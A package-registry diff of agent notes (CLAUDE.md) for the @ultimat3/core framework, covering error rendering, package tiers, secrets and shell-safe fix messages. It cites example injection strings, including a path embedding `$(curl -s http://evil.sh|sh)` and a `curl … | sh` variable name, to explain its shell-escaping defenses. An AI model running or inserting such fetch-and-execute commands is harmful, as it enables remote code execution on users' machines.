@ultimat3/core 21.0.0 → 22.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -1,560 +1,222 @@
1
1
  # @ultimat3/core — agent notes
2
2
 
3
- Tier 0. **Imports no `@ultimat3/*` package.** Everything else depends on this, so a change here
4
- is a change to every package.
3
+ Tier 0. **Imports no `@ultimat3/*` package except `@ultimat3/schema`** (the declared `core → schema`
4
+ edge; `schema → core` stays forbidden). Everything else depends on this, so a change here is a
5
+ change to every package.
5
6
 
6
7
  | Rule | |
7
8
  |---|---|
8
- | Deps | none (`bun-types` only) |
9
+ | Deps | `@ultimat3/schema` only (`bun-types` for types) |
9
10
  | Errors | subclass `UltimateError`; never `throw new Error` |
10
11
  | Values in a message | `renderCauseValue()` / `renderFixLiteral()`; never raw `JSON.stringify`, `String()` or `${…}` on an `unknown` |
11
- | A value in a `fix:` a shell READS | `renderFixShellArg(value, placeholder)` — `renderFixLiteral` answers DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are still live, so it is the wrong tool for a command position and cannot be made right. An ordinary path or URL passes through; anything a shell would read becomes the placeholder. Reproduced: an unauthenticated `GET /$(curl -s http://evil.sh\|sh)` rendered that substitution into `x g route …`, the line the framework tells its reader to paste |
12
- | Whether that value TRAVELS | `isFixShellSafe(value)` — the predicate `renderFixShellArg` is itself built on, never a second copy of the rule. A placeholder is honest text and it is NOT a runnable command: `curl -sS -m 5 <the provider jwks_uri>` is read by a shell as a redirection from a file called `the`, and `rm -f <the profile directory>/SingletonLock` deletes nothing it names. A `fix:` whose value sits mid-command asks this first and emits PROSE when the answer is no — `@ultimat3/auth`'s `jwks.ts` and `@ultimat3/scraping`'s `profileLocked` are the worked examples |
13
- | Rendering the 3-line format | nothing to remember — `UltimateError`'s CONSTRUCTOR escapes `code`, `title`, `cause`, `fix` and `docs` with `singleLine()`. Call it yourself only when you render a shape this class never built, e.g. a `Finding` |
12
+ | A value in a `fix:` a shell READS | `renderFixShellArg(value, placeholder)` — `renderFixLiteral`'s double quotes leave `$(…)`, `` ` `` and `${…}` live. An ordinary path or URL passes through; anything a shell would read becomes the placeholder |
13
+ | Whether that value TRAVELS | `isFixShellSafe(value)`, the predicate `renderFixShellArg` is built on. A placeholder is not a runnable command, so a `fix:` whose value sits mid-command asks this first and emits PROSE when the answer is no (`@ultimat3/auth`'s `jwks.ts`, `@ultimat3/scraping`'s `profileLocked`) |
14
+ | Rendering the 3-line format | nothing to remember — `UltimateError`'s CONSTRUCTOR escapes `code`, `title`, `cause`, `fix` and `docs` with `singleLine()`. Call it yourself only for a shape this class never built (a `Finding`) |
14
15
  | A value a CALLER supplied | `describeValue()` — shape, never content. `renderCauseValue` is safe against throwing, not against leaking |
15
- | Reading a caught value | `renderThrowable()` / `isThrownError()` / `stringField()`; never `error.message`, `error instanceof Error` or `typeof error.code === 'string'` directly — the probe throws before the renderer runs |
16
- | New code | add to `CORE_CODE_TITLES` in `core-error-codes.ts` — a side-effect anchor the barrel bare-imports, so `UltimateError` alone (2,353 B, from 5,265 B) never carries the table; an untitled code renders humanised |
17
- | Where an error points | `ERROR_DOCS_URL` — one constant, never a per-code URL. `docs:` is omitted at every construction site and resolved from the registry |
16
+ | Reading a caught value | `renderThrowable()` / `isThrownError()` / `stringField()`; never `error.message`, `instanceof Error` or `typeof error.code === 'string'` |
17
+ | New code | add to `CORE_CODE_TITLES` in `core-error-codes.ts` — a side-effect anchor the barrel bare-imports, so `UltimateError` alone never carries the table |
18
+ | Where an error points | `ERROR_DOCS_URL` — one constant, never a per-code URL. `docs:` is omitted at construction and resolved from the registry |
18
19
  | Time | take a `Clock`; `Date.now()` / `new Date()` only inside `clock.ts` |
19
20
  | Context | never thread `ctx` as a parameter — `useContext()` |
20
21
  | A value ambient across an `await` | `asyncContext<T>(subject)` from `async-context.ts`, in **every** package — never `new AsyncLocalStorage` |
21
- | Exports | add to `src/index.ts` explicitly; no `export *`. ONE subpath, `@ultimat3/core/page` (`src/page.ts`): the page handle, the principal fence and the page's shared names, re-exported by the barrel too — a browser module imports them there because any barrel import retains the error registry (~7.6 kB) through the anchored `schema-error-codes.ts`. `page-bundle.test.ts` pins the retained module set and the 1.5 kB ceiling; nothing that constructs an error may join it. Three subjects that each span a dozen modules arrive through `src/exports/` — every name is still written out in `index.ts`, so the public surface is one file to read |
22
+ | Exports | explicit in `src/index.ts`; no `export *`. ONE subpath, `@ultimat3/core/page` (`src/page.ts`): the page handle, the principal fence and the page's shared names, because any barrel import retains the error registry (~7.6 kB). `page-bundle.test.ts` pins the retained module set and a 1.5 kB ceiling; nothing that constructs an error may join it. `src/exports/` groups three subjects; every name is still written out in `index.ts` |
22
23
  | Files | < 200 LOC, 500 hard ceiling, one responsibility, `kebab-case.ts`, test beside source |
23
- | Type claims | `type-pins.ts`, never a `.test.ts` — `tsconfig.json` excludes tests, so `tsc` never reads one |
24
-
25
- Deliberate cycles (safe — nothing is referenced at module-evaluation time):
26
- `errors.ts ⇄ error-codes.ts`. Keep it that way: no top-level `UltimateError` use in
27
- `error-codes.ts`.
28
-
29
- **`async-context.ts` is the framework's ONE `AsyncLocalStorage`, and that is a framework rule
30
- rather than a core one, `As of 2026-08-20`.** `asyncContext` is exported from `src/index.ts` and
31
- six modules outside this package opened their own before they adopted it — `@ultimat3/db`'s
32
- transaction, statement attribution and expected-loop scopes, `@ultimat3/entity`'s `crossTenant`,
33
- `@ultimat3/ai`'s budget ledger and LLM stream sink. Each was a module-scope `new` a browser bundler
34
- turns into `TypeError: undefined is not a constructor` at module EVALUATION, so importing any of
35
- those packages from a client bundle failed before a line of app code ran. Reads degrade to
36
- `undefined`, writes throw `X_ASYNC_CONTEXT_UNAVAILABLE`; deferring the construction changes nothing
37
- a server can observe — the storage is built on the first `get()` or `run()` rather than at module
38
- evaluation, and `getStore()` outside a scope answers `undefined` either way.
39
-
40
- The mechanical half is `scripts/async-context-guard.ts`, collected by `x verify`'s `unit` step
41
- through `scripts/async-context-guard.test.ts` — it refuses a `new AsyncLocalStorage` **and** the
42
- import that binds the class, aliased or namespaced, anywhere but this one file. The browser-barrel
43
- test in `async-context.test.ts` covers the same defect for core alone and cannot see another
44
- package; the guard cannot see a runtime `await import('node:async_hooks')`. Neither is the other's
45
- duplicate.
46
-
47
- `error-render.ts` imports nothing, including from this package — an error factory that dies
48
- formatting its own message is the failure it exists to prevent, so it cannot depend on anything
49
- that could itself throw. The same defect shipped three times (`entity`, `flags`, `cli`) before
50
- this file existed; `renderCauseValue` is `@ultimat3/entity`'s `renderValue` moved down a tier
51
- VERBATIM, `a object` included, so a package adopting it changes no message. `toUltimateError`,
52
- `parseId` and `readPackageVersion` are its first callers. The mechanical half is
53
- `scripts/error-render.ts` on `x verify`'s `errors` step (`X_ERROR_RENDER_UNSAFE`) — it reads
54
- parameters typed `unknown` that reach a `cause:` / `fix:`, and it cannot see a value laundered
55
- through a local helper first (`packages/ui/src/components/ErrorState.tsx` builds a `message`
56
- const, then assigns it).
57
-
58
- `singleLine` is the escape that keeps the 3-line contract to three lines, and it exists because
59
- `scripts/error-render.ts` **cannot see this class**. That gate refuses a parameter typed
60
- `unknown`/`any` reaching a `cause:`; a value that is already a `string` renders without throwing, so
61
- there is nothing for it to object to — while a newline in one adds a line to a format that is
62
- line-oriented in the terminal, in CI logs and inside the dev overlay's `<pre>`. Three holes shipped
63
- in `@ultimat3/auth` under a green check, the worst reachable by an unauthenticated stranger with one
64
- crafted OIDC token (issue #97).
65
-
66
- **It is applied in the CONSTRUCTOR, `As of 2026-08-20` — not at the renderers, which is where it
67
- went first and could not stay.** Escaping at each renderer was six call sites, and six is a number
68
- that only goes up: a seventh in this repo, and every renderer an APP writes, would each have had to
69
- remember. `format()` is also not the only reader — an uncaught throw prints `.message`, a log line
70
- takes `.cause`, `--json` takes `toJSON()` — so a per-renderer escape left three of four doors open.
71
- One constructor covers all of them, and `singleLine` is idempotent, so a call site that already
72
- escaped (`@ultimat3/auth` renders `claims.iss` at its source, quotes and all) is unharmed. `format()`
73
- therefore interpolates the fields bare: a second pass would be a second place that has to be right.
74
- The four renderers that still call it — `renderErrorLines` in `@ultimat3/http`,
75
- `renderFrameworkError` in `@ultimat3/mcp`, `renderFinding` / `detailLines` in `@ultimat3/cli` — take
76
- shapes this class never built (a `Finding`, a catalog entry), which is the one case left.
77
-
78
- It is not a general sanitiser: a cause is prose and keeps its quotes,
79
- its backslashes and its percent signs — only the control range is touched. Line breaks are the
80
- structural half; the rest of C0 and DEL ride along because a terminal reads a raw `\u001b` as an ANSI
81
- escape, so a cause could repaint the screen or hide the line above it. `@ultimat3/schema` carries a
82
- deliberate duplicate — `schema -> core` stays forbidden, so that direction cannot be collapsed —
83
- pinned behaviourally by `single-line-pin.test.ts`, which lives HERE `As of 2026-08-27`, at the tier
84
- the invariant belongs to, and pins `ERROR_DOCS_URL` and the brand key beside it.
85
-
86
- **`core -> schema` is a declared edge `As of 2026-08-27`, and FIVE copies went with it.**
87
- `describeValue`, `charCount`, `CURRENCY_CODE_PATTERN`, `SCHEMA_ERROR_CODES` and `isIanaZoneName`
88
- were all restated here because both packages are tier 0 and neither could import the other; they
89
- were held equal by 394 lines of pin test in `@ultimat3/cli`, a TIER-5 package pinning a tier-0
90
- invariant that no rule required to exist. `describeValue` is the one that made it urgent — it
91
- prints INSTEAD of a rejected password, so the safety property of the framework's most
92
- security-sensitive renderer rested on a 63-line behavioural pin at tier 5. `error-render.ts`
93
- re-exports schema's now, and the four pin files are deleted.
94
-
95
- The edge cost was MEASURED before it was declared, because axiom 6 makes it a measurement and not
96
- an argument — `docs/architecture/01-package-map.md` carries the table. Short version: the edge
97
- alone TRIPLED a core-only browser chunk (6,362 → 19,018 B), because importing schema's barrel with
98
- no `sideEffects` field forces a bundler to keep every module it reaches; `@ultimat3/schema` now
99
- declares `sideEffects: false`, which `bun run side-effects` had already measured as true of it, and
100
- the cost drops to ~1 kB — while `moneyText` from `@ultimat3/ui`, which always carried schema, comes
101
- out 7.8 kB SMALLER.
102
-
103
- **A string's length is CODE POINTS, `As of 2026-08-22`**
104
- — `validators.ts` rejects in that unit and `json-schema.ts` publishes `minLength` in it, so
105
- `.length` made `t.string.min(3).safeParse('👍a')` say "at least 3 chars, received a string of 3
106
- characters". The rule it enforces: a `cause` reaches the log index AND the
107
- HTTP problem document, redaction is by log FIELD key, and a value baked into a message string has
108
- no key left to redact — so `parseId`/`uuidTimestamp` describe a rejected id and never echo it.
109
-
110
- `logger.ts` must not import `context.ts`. `context.ts` injects the ids via
111
- `setLoggerContextFields()`. It **does** import `secret.ts`, one way only: `secret.ts` owns
112
- `REDACTED` so a `Secret` can render it without importing the logger, and `logger.ts` re-exports
113
- the constant so there is still one definition and one public path.
114
-
115
- `ActorFacts` is the app's extension point on `Actor` — module augmentation, the same trick as
116
- `CtxServices` and `PermissionRegistry`. Core declares the seam and **never a fact**: augmenting
117
- `ActorFacts` inside the framework would declare that fact for every app. Every fact reads as
118
- `T | undefined` through `actorFact()` on purpose — an unresolved fact must deny, and a job, a
119
- test and an MCP token exchange all mint actors that resolved nothing. `type-pins.ts` pins that
120
- shape against a locally declared sample interface for exactly that reason.
24
+ | Type claims | `type-pins.ts`, never a `.test.ts` — `tsconfig.json` excludes tests |
25
+
26
+ Deliberate cycle (safe — nothing referenced at module evaluation): `errors.ts ⇄ error-codes.ts`. No
27
+ top-level `UltimateError` use in `error-codes.ts`.
28
+
29
+ ## Invariants
30
+
31
+ - **`async-context.ts` is the framework's ONE `AsyncLocalStorage`.** Construction is deferred to
32
+ the first `get()`/`run()`, so a browser bundle can evaluate the module; reads degrade to
33
+ `undefined`, writes throw `X_ASYNC_CONTEXT_UNAVAILABLE`. `scripts/async-context-guard.ts` refuses a
34
+ `new AsyncLocalStorage` or an import of the class anywhere else; `scripts/browser-barrel.test.ts`
35
+ covers `await import('node:async_hooks')`.
36
+ - **`error-render.ts` imports nothing** except schema's re-exports (`describeValue`, `charCount`) —
37
+ an error factory that dies formatting its own message is the failure it exists to prevent.
38
+ `scripts/error-render.ts` (`X_ERROR_RENDER_UNSAFE`) cannot see a value laundered through a local
39
+ helper.
40
+ - **`singleLine` keeps the 3-line contract to three lines, applied in the CONSTRUCTOR** so every
41
+ door (`format()`, `.message`, `.cause`, `toJSON()`) is covered once. It touches only C0 controls
42
+ and DEL — a cause keeps its quotes and backslashes. `@ultimat3/schema` carries a deliberate
43
+ duplicate, pinned by `single-line-pin.test.ts` HERE, with `ERROR_DOCS_URL` and the brand key.
44
+ - **`core → schema` is declared, and the five former copies are gone** (`describeValue`,
45
+ `charCount`, `CURRENCY_CODE_PATTERN`, `SCHEMA_ERROR_CODES`, `isIanaZoneName`). Its bundle cost is
46
+ measured in `docs/architecture/01-package-map.md`; it depends on `@ultimat3/schema` keeping
47
+ `sideEffects: false`.
48
+ - **A string's length is CODE POINTS** — `validators.ts` rejects in that unit and
49
+ `json-schema.ts` publishes `minLength` in it. `parseId`/`uuidTimestamp` describe a rejected id and
50
+ never echo it: a value baked into a message has no log field key to redact.
51
+ - `logger.ts` must not import `context.ts` (`context.ts` injects ids via `setLoggerContextFields()`).
52
+ It imports `secret.ts` one way only: `secret.ts` owns `REDACTED`, `logger.ts` re-exports it.
53
+ - **`ActorFacts` is the app's extension point on `Actor`** (module augmentation). Core never declares
54
+ a fact; every fact reads `T | undefined` through `actorFact()` so an unresolved fact denies.
55
+ `type-pins.ts` pins the shape against a local sample.
121
56
 
122
57
  | Concept | Owner | Note |
123
58
  |---|---|---|
124
- | which deploy this is | `environment.ts` (`ULTIMATE_ENV`) | the twin of `ROLE`; never declare a second env var for it |
59
+ | which deploy this is | `environment.ts` (`ULTIMATE_ENV`) | the twin of `ROLE`; never a second env var |
125
60
  | what this process does | `roles.ts` (`ROLE`) | |
126
- | how a route renders, caches offline and hydrates | `route-vocabulary.ts` (`RENDER_MODES`, `OFFLINE_STRATEGIES`, `HYDRATE_STRATEGIES`) | tier 0 because SIX packages name them and imports only go down — `render`, `http`, `seo`, `manifest` and `pwa` each kept a hand-copy until 2026-08, and `'spa'` was deleted from one while five went on admitting it under a green typecheck. Every union is `(typeof ARRAY)[number]`, pinned in `type-pins.ts`; `scripts/render-modes.test.ts` refuses a second declaration anywhere in `packages/*/src`. Re-export it, never restate it |
127
- | which rungs a cache ladder has | `cache-vocabulary.ts` (`CACHE_TIERS`) | tier 0 for the same reason, one tier lower down the stack: `app.config.ts` picks tiers by name and `@ultimat3/cache` builds them by name, and until 2026-08-22 those were two different vocabularies — config accepted `memo \| lru \| shared \| isr \| cdn`, the ladder ordered `request-memo \| lru \| redis \| cdn`, nothing mapped one onto the other, and `cache: { tiers: ['isr'] }` typechecked and selected nothing (issue #293). `TIER_ORDER` IS this array, so read order and the config vocabulary cannot disagree. `isr` is a `RenderMode`, never a tier. Pinned in `type-pins.ts` and by `scripts/render-modes.ts` |
128
- | which build of the APP this is | `app-version.ts` (`APP_VERSION`) | one reader, `dev` by default: `db` writes it into `x_migrations` and `jobs` into `x_backfills`, and `jobs` cannot reach `db` for the answer |
129
- | the values | `env.ts` | `checkEnv().values` holds REAL secrets — anything that prints goes through `maskedEnvValues()` |
61
+ | how a route renders, caches offline and hydrates | `route-vocabulary.ts` (`RENDER_MODES`, `OFFLINE_STRATEGIES`, `HYDRATE_STRATEGIES`) | every union is `(typeof ARRAY)[number]`, pinned in `type-pins.ts`; `scripts/render-modes.test.ts` refuses a second declaration. Re-export it, never restate it |
62
+ | which rungs a cache ladder has | `cache-vocabulary.ts` (`CACHE_TIERS`) | `@ultimat3/cache`'s `TIER_ORDER` IS this array. `isr` is a `RenderMode`, never a tier |
63
+ | which build of the APP this is | `app-version.ts` (`APP_VERSION`) | one reader, `dev` by default |
64
+ | the values | `env.ts` | `checkEnv().values` holds REAL secrets — printing goes through `maskedEnvValues()` |
130
65
  | `.env.example` | `env-example.ts` | a projection of the schema, never hand-maintained |
131
66
  | loading `.env` | **Bun**, not us | `envFileCandidates()` documents the measured order; there is no `.env.staging` |
132
- | how long to wait, and whether to wait at all | `backoff.ts` + `retry.ts` | one curve and one executor; `jitter` is REQUIRED on a retry policy and defaults to `none` on the arithmetic |
133
- | N callers on one key | `single-flight.ts` | identity-checked eviction, optional injected deadline; `@ultimat3/cache`'s is this shape |
67
+ | how long to wait, and whether to wait at all | `backoff.ts` + `retry.ts` | one curve, one executor; `jitter` is REQUIRED on a retry policy and defaults to `none` on the arithmetic. `attempt` is 1-based |
68
+ | N callers on one key | `single-flight.ts` | identity-checked eviction, optional injected deadline |
134
69
  | how many at once | `flight-gate.ts` | hand-over on release, refusal past `maxQueued`, injectable `overflow:` refusal |
135
- | whether an answer still applies | `generation-fence.ts` | `X_SUPERSEDED` / `isSuperseded`; nothing else in the tree had one |
136
- | which HTTP statuses are worth repeating | `retryable-status.ts` | `>= 500` plus 408, 409, 425, 429 — the two byte-identical copies' set |
137
- | how long this request has left | `request-budget.ts` (`Ctx.deadlineAt`, `REQUEST_TIMEOUT_HEADER`) | `@ultimat3/http`'s `startDeadline` is the one production writer of the instant; `traceHeaders()` is the one writer of the header. It lives here because the READER is tier 2 and the WRITER is a typed client in tier 0, and a second literal for the header name is a propagation that stops working the day either string is edited. A spent budget sends nothing rather than `0` — the far side ignores anything under 1ms and falls back to its own, which is the failure the header exists to prevent, one hop later |
138
- | the five above, composed into one typed-client call | `client-flight.ts` + `client-wire.ts` | `@ultimat3/action` and `@ultimat3/query` both project a typed client and are both tier 3, so neither could import the other: it shipped as a byte-identical 288-line + 85-line copy in each, policed by a `client-twin.test.ts` in both. Both packages re-export these names, so their public surface is unchanged. Declares NO code of its own — `X_SUPERSEDED`, `X_TIMEOUT` and `X_FLIGHT_GATE_OVERLOADED` are already here |
139
- | the browser's one HTTP function, its records envelope, the per-tab handle and the principal fence | `client-transport.ts`, `client-dispatch.ts`, `client-problem.ts`, `client-paths.ts`, `record-envelope.ts`, `record-sink.ts`, `client-scope.ts` | plan 101, 21.0.0. `pageClient()` is the ONE `globalThis` write (`Symbol.for('ultimate.client')`) — a module-scope singleton would be one store per island bundle, which `record-sink.test.ts` reproduces by importing the module twice. The scope's listeners live ON the handle for the same reason. `clientTransport` must never value-import `createClientFlight` or `traceHeaders()` (sizes in its header). `isSuperseded` answers both `X_SUPERSEDED` and `X_CLIENT_SCOPE_CHANGED` — one reader, never a second predicate. The fence does NOT `bump()` a caller's flight: a flight's fence refuses writes too, and a write across a rescope must resolve. A write never dedupes, idempotency key or not; a read dedupes only with a caller's `flight` — there is no default flight, decided 2026-09-22. Trace and budget headers reach the transport through an OUTBOUND SLOT on the page handle that `runWithContext` and `startSpan` fill (`outbound-headers.ts`) — never a `traceHeaders()` call in a client: that put 12.9 kB of telemetry/context/logger into every island for a header a browser never has. Measured browser-minified through the barrel, As of 2026-09-22, before → after the slot: `clientTransport` 13,328 → 13,571 B, `pageClient` 7,964 → 8,139 B; re-measured As of 2026-09-23 (one entry importing `packages/core/src/index.ts` by path): 14,405 B and 8,853 B. `rpc`'s figures live in ONE table, [`packages/action/CLAUDE.md`](../action/CLAUDE.md) (the `ClientFlight` bullet), and `queryClient`'s in [`packages/query/CLAUDE.md`](../query/CLAUDE.md) — never restated here. The floor under all of them is the error-code registry (~7.6 kB) the anchored `schema-error-codes.ts` pulls into ANY barrel import; `pageClient` from its own module is 332 B. `pageClient()` reads its initial principal from `<meta name="ultimate-scope">` (`CLIENT_SCOPE_META`, which `@ultimat3/render` imports) once, at creation — THREE states: content = that principal, empty = `null` (anonymous), no tag or no `document` = `undefined` (UNSCOPED: a page rendered for nobody; nothing is persisted under it) |
140
- | a write's public name | `write-digest.ts` (`writeDigest`, `isWriteDigest`, on `./page` too) + `write-origin.ts` (`withWriteOrigin`, `currentWriteOrigin`, `WRITE_ORIGIN_WAL_PREFIX`, server-only) | the SHA-256 of an idempotency key, 32 hex. `@ultimat3/action`'s HTTP projection opens the scope, `@ultimat3/entity` carries it onto a row change and into the WAL, `@ultimat3/realtime` stamps it on a `records` frame and the page matches its own. Tier 0 because all four read it and none may import another. A malformed value runs the work unnamed: the scope is a label, never a gate |
141
- | which row survives a conflict | `conflict-policy.ts` (`ConflictPolicy`, `resolveConflict`, `Row`) | the one vocabulary `action`'s mutator and `realtime`'s rebase both read |
142
- | the four shapes of an async region | `async-state.ts` (`AsyncState`) | moved from `@ultimat3/ui`; tier 0 so `realtime` can return it and `ui` can render it |
143
- | is this `unknown` a keyed record? | `json-object.ts` | `isJsonObject`, which was the same three terms in both those packages' `stable.ts`. A `Date` and a class instance PASS: it narrows a shape, it does not certify provenance |
144
- | a value that must not be printed | `secret.ts` | redacted by VALUE; `revealSecret()` is the one way out, on purpose greppable |
145
- | an `Intl` formatter cache, and the screen in front of it | `intl-cache.ts` (`cachedFormatter`, `canonicalLocale`, `assertLocale`, `MAX_CACHED_FORMATTERS`, `MAX_LOCALE_EXCERPT`) | a locale and a zone arrive from a request header, so the tag must be REFUSED when it is not a tag (`X_LOCALE_INVALID`), the key must be canonical AND the cache bounded — never a second copy of any of the three. The refusal is bounded too: the `cause` quotes back at most `MAX_LOCALE_EXCERPT` (35, RFC 5646 §4.4.1) code points and says so when it cut, and the whole tag rides in `meta.locale` — a `cause` reaches the 400 body and the log line, where a value with no key has nothing a redactor can address |
146
- | the text direction of a locale | `locale-direction.ts` (`directionOf`, `isRtl`, `Direction`) | a script fact, moved here from `@ultimat3/i18n` (which re-exports it) on 2026-09-19: `@ultimat3/ui`'s provider reflects `dir` onto `<html>` from the locale it was handed, and reaching the i18n barrel for that one function put the framework catalog it installs at import into every browser chunk with a `UiProvider` (issue #490) |
70
+ | whether an answer still applies | `generation-fence.ts` | `X_SUPERSEDED` / `isSuperseded` |
71
+ | which HTTP statuses are worth repeating | `retryable-status.ts` | `>= 500` plus 408, 409, 425, 429 |
72
+ | how long this request has left | `request-budget.ts` (`Ctx.deadlineAt`, `REQUEST_TIMEOUT_HEADER`) | `@ultimat3/http`'s `startDeadline` is the one writer of the instant; `traceHeaders()` the one writer of the header. A spent budget sends nothing, never `0` |
73
+ | the above, composed into one typed-client call | `client-flight.ts` + `client-wire.ts` | shared by `@ultimat3/action` and `@ultimat3/query` (both tier 3), re-exported by both. Declares no code of its own |
74
+ | the browser's one HTTP function, records envelope, per-tab handle and principal fence | `client-transport.ts`, `client-dispatch.ts`, `client-problem.ts`, `client-paths.ts`, `record-envelope.ts`, `record-sink.ts`, `client-scope.ts` | `pageClient()` is the ONE `globalThis` write (`Symbol.for('ultimate.client')`); the scope's listeners live ON the handle. `clientTransport` never value-imports `createClientFlight` or `traceHeaders()`: trace/budget headers reach it through the page handle's OUTBOUND SLOT (`outbound-headers.ts`). `isSuperseded` answers both `X_SUPERSEDED` and `X_CLIENT_SCOPE_CHANGED`. The fence never `bump()`s a caller's flight. A write never dedupes; a read dedupes only with a caller's `flight`. `pageClient()` reads `<meta name="ultimate-scope">` (`CLIENT_SCOPE_META`) once: content = principal, empty = anonymous (`null`), absent = UNSCOPED (`undefined`, nothing persisted). Byte figures (`As of 2026-09-23`): `clientTransport` 14,405 B, `pageClient` 8,853 B through the barrel, 332 B from its own module; `rpc`'s live in `packages/action/CLAUDE.md`, `queryClient`'s in `packages/query/CLAUDE.md` |
75
+ | a write's public name | `write-digest.ts` (`writeDigest`, `isWriteDigest`, also on `./page`) + `write-origin.ts` (`withWriteOrigin`, `currentWriteOrigin`, `WRITE_ORIGIN_WAL_PREFIX`, server-only) | SHA-256 of an idempotency key, 32 hex; carried action → entity → WAL → realtime `records` frame. A malformed value runs the work unnamed: a label, never a gate |
76
+ | which row survives a conflict | `conflict-policy.ts` (`ConflictPolicy`, `resolveConflict`, `Row`) | read by `action`'s mutator and `realtime`'s rebase |
77
+ | the four shapes of an async region | `async-state.ts` (`AsyncState`) | `realtime` returns it, `ui` renders it. `bun run render-modes` refuses a second status union sharing three members |
78
+ | is this `unknown` a keyed record? | `json-object.ts` (`isJsonObject`) | narrows a shape; does not certify provenance |
79
+ | a value that must not be printed | `secret.ts` | redacted by VALUE; `revealSecret()` is the one, greppable, way out |
80
+ | an `Intl` formatter cache, and the screen in front of it | `intl-cache.ts` (`cachedFormatter`, `canonicalLocale`, `assertLocale`, `MAX_CACHED_FORMATTERS`, `MAX_LOCALE_EXCERPT`) | a locale arrives from a header: refuse a non-tag (`X_LOCALE_INVALID`), key canonically AND bound the cache — never a copy of any of the three. The cause quotes at most `MAX_LOCALE_EXCERPT` (35) code points; the whole tag rides in `meta.locale` |
81
+ | the text direction of a locale | `locale-direction.ts` (`directionOf`, `isRtl`, `Direction`) | re-exported by `@ultimat3/i18n`; lives here so `@ultimat3/ui` need not reach the i18n barrel |
147
82
  | the committed encrypted values | `secrets.ts` (envelope) + `secrets-store.ts` (files, `installSecrets`) | plaintext is a flat map of ENV NAMES; there is no `secrets.get()` |
148
83
 
149
- `installSecrets()` is the ONLY path from `secrets.enc.json` to an app value, and it lands in
150
- `process.env` before `defineEnv` reads it — so a secret has one declaration (`envSchema`), one
151
- `.env.example` row, one mask and one reader. A second accessor would be five second
152
- implementations. The real environment always wins, which is what lets one image run in Compose and
153
- on K8s off one committed file.
154
-
155
- `intl-cache.ts` is tier 0 because two tier-1 packages need it and tier 1 may not import sideways.
156
- It was `@ultimat3/time`'s, internal, until 2.0.0, when `@ultimat3/money`'s `formatMoney` was found
157
- keyed raw on the caller's locale into an unbounded `Map` — 20,000 valid `en-US-x-*` tags from one
158
- `Accept-Language` header retained +55.1 MB of RSS (measured `As of 2026-08`). Copying the FIFO into
159
- `money` would have been a second answer to one question (axiom 1); `money → time` is a sideways
160
- import `bun run boundaries` refuses. The bound and the canonical key are **two halves of one rule**
161
- and live in one file for that reason: a canonical key bounds nothing (an unknown `-u-` extension
162
- value survives canonicalization as a distinct string) and the cap alone lets one locale evict
163
- itself under three spellings. Never build an `Intl` formatter on a caller string without both.
164
-
165
- `assertLocale` and `X_LOCALE_INVALID` moved here from `@ultimat3/time` in 16.x, for the third
166
- time the same argument was made: `@ultimat3/money` handed a malformed `Accept-Language` tag
167
- straight to `Intl.NumberFormat` at four entry points and let a bare `RangeError` out, and copying
168
- time's screen down would have been a second answer to one question. Validating and keying are ONE
169
- step — `getCanonicalLocales` runs exactly the check `supportedLocalesOf` throws on and hands back
170
- the spelling the cache keys on — which is why the screen lives in this file and not beside it. A
171
- code has one declaration: `X_LOCALE_INVALID` left `TIME_ERROR_CODES` in the same change, or
172
- `registerErrorCodes` would raise `X_ERROR_CODE_DUPLICATE` the moment both packages loaded.
173
-
174
- `secrets-errors.ts`'s four command lines are screened, `As of 2026-09-06`: `x secrets` takes the
175
- app root, so `at` and `keyPath` are `join(root, …)` — data — and three of them lead with
176
- `git checkout --` while `X_SECRETS_KEY_MISSING` puts a path INSIDE a `$(cat …)`, where a second
177
- `$(…)` substitutes before `cat` runs. The path goes through `renderFixShellArg`; the variable name
178
- is matched against `/^[A-Z_][A-Z0-9_]*$/` and a non-name degrades the whole line to prose, because
179
- `export PATH; curl … | sh=` has no quoted form that makes it an assignment. `X_SECRETS_KEY_MISMATCH`
180
- carries no key id in its command at all: the id is read out of the envelope of a file on disk, so a
181
- newline in it ends the trailing `#` comment and appends a second command — the `cause` and `meta`
182
- name it, and the `fix:` points at the cause.
183
-
184
- `secrets-errors.ts` registers its seven codes through `registerErrorCodes()` rather than joining
185
- `CORE_CODE_TITLES` — the codes and the module that throws them ship together, and `registerErrorCodes`
186
- is the one mechanism that raises `X_ERROR_CODE_DUPLICATE` if anything else claims one. Consequence
187
- to know: a test that calls `resetErrorCodes()` drops these titles like any other package's, so take
188
- `errorCodeSnapshot()` first. The envelope carries a `kid` (a domain-separated, truncated SHA-256 of
189
- the master key) purely so *wrong key* and *edited file* are two codes and not one shrug — GCM alone
190
- cannot tell them apart.
191
-
192
- `schema-error-codes.ts` is the same shape a second time, for codes this package does not even own.
193
- `@ultimat3/schema` is tier 0 like `core` and cannot call `registerErrorCodes()` itself — that would
194
- be `schema -> core`, which stays forbidden. So core READS `SCHEMA_ERROR_CODES` over the declared
195
- edge and registers it unconditionally at import time, and any process that imports core (not just
196
- `@ultimat3/cli`, which used to be the only registrant) renders schema's real titles. The retry
197
- classification is derived from the same set rather than typed out beside it: a fifth code would
198
- have been silently absent from a hand-written list, and an unregistered code reads as UNCLASSIFIED,
199
- so a schema refusal inside a job body burns the whole retry policy re-proving an answer no attempt
200
- can change.
201
-
202
- `timing-safe-equal.ts` holds the one constant-time string comparison `@ultimat3/auth` and
203
- `@ultimat3/storage` both need — core is the lowest tier both can reach, so the shared code lives
204
- here rather than in either package copying the other's file.
205
-
206
- `canonical-json.ts` is the same shape for the hash every SHARING key in the framework is taken
207
- over, `As of 2026-08`. `canonicalJson` is an INJECTIVE canonical form and `fingerprint` is
208
- SHA-256/16 of it, and three tier-3 packages needed exactly this while none may import another:
209
- `@ultimat3/action`'s `requestHash` and job dedupe key, `@ultimat3/query`'s `queryHash` (a
210
- read-cache entry, a cursor scope, a live query id) and `@ultimat3/realtime`'s `qid`. Each kept its
211
- own copy and the copies had **diverged in a way that leaked**: query's had no `Date` branch, so
212
- `Object.keys(date)` was `[]`, every date rendered `{}`, and one cache key, one cursor scope and one
213
- live window answered for every date window of a read — reachable straight off a query string, since
214
- `coerceQuery` turns a `t.date` member into a real `Date`. Injective is the whole requirement, not a
215
- formatting preference: every one of those keys decides which of two callers is served the other's
216
- answer. So `NaN`, `±Infinity` and `-0` are bare tokens the quoting `string` branch cannot spell,
217
- and a `Date`, a `Map` and a `Set` — the three values with no own enumerable key — are TAGGED. Never
218
